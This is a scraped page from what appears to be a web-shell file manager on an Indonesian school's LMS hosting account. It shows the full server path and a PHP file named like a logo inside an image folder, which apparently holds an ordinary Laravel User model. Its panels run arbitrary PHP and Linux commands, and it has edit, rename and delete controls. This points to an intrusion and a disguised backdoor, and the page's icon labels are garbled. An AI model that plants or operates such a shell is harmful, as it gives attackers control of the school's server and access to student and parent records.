๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
<?php namespace App\Models; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Illuminate\Database\Eloquent\Relations\HasOne; class User extends Authenticatable { use Notifiable; // Arahkan ke tabel users protected $table = 'users'; protected $primaryKey = 'id_users'; protected $fillable = [ 'name', 'email', 'password', 'full_name', 'role', 'extra_duties', 'status' ]; protected $hidden = [ 'password', 'remember_token', ]; // Relasi menggunakan id_users (sesuai perubahan nama kolom) public function profilPd(): HasOne { return $this->hasOne(PesertaDidik::class, 'id_users', 'id'); } public function profilOrtu(): HasOne { return $this->hasOne(OrangTua::class, 'id_users', 'id'); } public function waliKelas(): HasOne { return $this->hasOne(WaliKelas::class, 'id_users', 'id'); } public function waliKelasAktif(): bool { return $this->waliKelas()->where('status_aktif', 'Ya')->exists(); } }
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD